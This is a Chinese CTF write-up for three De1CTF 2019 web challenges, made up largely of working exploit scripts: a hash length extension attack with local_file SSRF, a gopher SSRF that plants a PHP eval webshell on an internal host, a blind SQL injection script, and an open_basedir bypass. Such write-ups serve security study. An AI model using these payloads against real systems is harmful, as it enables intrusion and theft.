delctf 2019 web 部分writeup

周末看了两天这个比赛,被学长带飞,记录一下

SSRF ME

题目直接给了源码,审一波发现关键在于下边这个函数

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

很明显的hash长度扩展攻击,把scan改成read就可以读文件了

有一个waf

1
2
3
4
5
6
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

禁用了gopher和file协议,但是根据之前p牛提过的一个技巧,可以用local_file协议来读取文件(CVE-2019-9948),最终exp如下

1
2
3
4
5
6
7
8
9
import hashpumpy
import requests
from urllib import quote
param = 'local_file:flag.txt'
hash_value = requests.get("http://139.180.128.86/geneSign",params={'param':param}).text
new_hash_value,payload = hashpumpy.hashpump(hash_value,param+"scan","read",16)
payload = quote(payload[len(param):])
a = requests.get("http://139.180.128.86/De1ta",params={'param':param},cookies={'sign':new_hash_value,'action':payload})
print a.text

flag如下
img

ps:据说这题非预期,直接读flag.txt就可以

shellshellshell

这题卡了很久,题目环境也崩了好几次,总之这题做的真的很难受

登录界面很熟悉,和去年的N1CTF很像,扫一下目录

1564926588623

很显然的源码泄露,下下来恢复一下,发现和N1CTF的代码基本一样

找一下writeup,https://xz.aliyun.com/t/2148直接用题里的exp打一下就可以(一开始没意识到,还审了一晚上

但是这个洞还是很值得学习的

进去之后根据题目的提示,需要打内网的机器,找到另一台web服务器,一看代码,去年上海大学生ctf的web题,只需要找个办法传进去数据包就可以,用gopher传,getshell之后就是找flag了,最后在/etc/下面

发gopher包写shell的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import urllib
import requests
command="system('ls /usr');"
exp='''\
POST / HTTP/1.1
Host: 172.18.0.2
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------444980421912
Content-Length: %s

-----------------------------444980421912
Content-Disposition: form-data; name="file"; filename="gml.php"
Content-Type: application/octet-stream

@<?php echo 1;@eval($_POST['gml']);?>
-----------------------------444980421912
Content-Disposition: form-data; name="file[1]"

123
-----------------------------444980421912
Content-Disposition: form-data; name="file[0]"

php/.
-----------------------------444980421912
Content-Disposition: form-data; name="hello"

./325.php
-----------------------------444980421912
Content-Disposition: form-data; name="gml"

%s
-----------------------------444980421912--
'''%(614-15+len(command),command)
tmp = urllib.quote(exp)
new = tmp.replace("%0A","%0D%0A")

result = "_"+urllib.quote(new)
#print result
#url="http://oj.momomoxiaoxi.com:9090/index.php?url=gopher://127.0.0.1:80/"
result="gopher://172.18.0.2:80/"+result
print(requests.get("http://139.180.220.125:11027/upload/s.php?url="+result).text)

giftbox

这题当时没看,只觉得前端界面很炫酷,赛后看了出题师傅的wp:https://github.com/impakho/ciscn2019_giftbox 由于题目环境不知道崩没崩,直接在本地搭docker了,搭的是国赛环境,但应该没什么太大区别,在这里复现一下

进去可以f12看到真实的url,/shell.php?a=list&totp=55530902,再结合源码,可以知道totp应该是用来校验的一种手段,暂时先不看,看看有什么功能

1565079014540

有个登录,可以试一下sql注入,根据格式用区分username和password,尝试用绕过空格的方法注入fuzz一下,发现有sql注入

1565079219704

可以根据这个写出布尔盲注的脚本(这个脚本需要先猜一下表名,是我菜了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string
import urllib
import pyotp

url = "http://x.x.x.x/shell.php?a=%s&totp=%s"
totp = pyotp.TOTP("GAXG24JTMZXGKZBU",digits=8,interval=5)

temp = ''
for i in range(1,50):
print("round:"+str(i))
low = 0
high = 126
while(low<=high):
mid = (low+high)/2
database = "select/**/database()" #giftbox
table = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()" #users
column = "select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'" #password
flag = "select/**/group_concat(password)/**/from/**/giftbox.users/**/where/**/username='admin'"
username = "aa'/**/union/**/select/**/'a'/**/from/**/users/**/where/**/(ascii(substr(("+flag+"),"+str(i)+",1)))>"+str(mid)+"#"
password = 'a'
payload = 'login %s %s' % (username,password)
payload = urllib.parse.quote(payload)
payload = url % (payload, totp.now())
result = requests.get(payload, timeout=0.5)
if ("only" in result.text):
low = mid+1
else:
high = mid-1

temp = temp + chr(int(round((low+high+1)/2)))
print(temp.ljust(50, '*'))

得到密码flag{hi33en_C0mm3nd-sh0w_hiiintttt_23333},而且带一个隐藏的命令

1565084179867

根据提示,可以知道再launching的时候会执行eval,命令执行

经过fuzz之后,发现限制了参数的长度,而且code只能为数字和字母,position只能为a-zA-Z0-9})$({_+-,.

这里可以使用php的可变变量来执行任意操作,由于有open_basedir的限制,无法读取/flag,需要想办法绕过

这里可以使用一个方法 https://xz.aliyun.com/t/4720 原理应该是php路径展开函数的问题

根据payload写个脚本来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import string
import urllib
import pyotp

url = "http://139.159.140.198:2345/shell.php?a=%s&totp=%s"
totp = pyotp.TOTP("GAXG24JTMZXGKZBU",digits=8,interval=5)
s = requests.session()

real_passwd = 'flag{hi33en_C0mm3nd-sh0w_hiiintttt_23333}'

#login
username = 'admin'
password = real_passwd
payload = 'login %s %s' % (username,password)
payload = urllib.parse.quote(payload)
payload = url % (payload, totp.now())
r = s.get(payload,timeout=0.5)
print(r.text)

#destruct
payload = 'destruct'
payload = urllib.parse.quote(payload)
payload = url % (payload,totp.now())
r = s.get(payload,timeout=0.5)
print(r.text)

#targeting
def targeting(code,position):
payload = 'targeting %s %s' % (code,position)
payload = urllib.parse.quote(payload)
payload = url % (payload,totp.now())
r = s.get(payload,timeout=0.5)
print(r.text)
targeting('a','chr')
targeting('b','{$a(46)}') #.
targeting('c','{$b}{$b}') #..
targeting('d','{$a(47)}') #/
targeting('e','css')
targeting('f','open_basedir')
targeting('g','chdir')
targeting('h','ini_set')
targeting('i','file_get_')
targeting('j','{$i}contents') #file_get_contents
targeting('k','{$g($e)}') #chdir(css)
targeting('l','{$h($f,$c)}') #ini_set(open_basedir,..)
targeting('m','{$g($c)}') #chdir(..)
targeting('n','{$h($f,$d)}') #ini_set(open_basedir,/)
targeting('o','{$d}flag') #/flag
targeting('p','{$j($o)}') #file_get_content(/flag)
targeting('q','printf')
targeting('r','{$q($p)}') #printf(file_get_content(/flag))


#launch
payload = 'launch'
print(payload)
payload = urllib.parse.quote(payload)
payload = url % (payload,totp.now())
r = s.get(payload,timeout=0.5)
print(r.text)
0%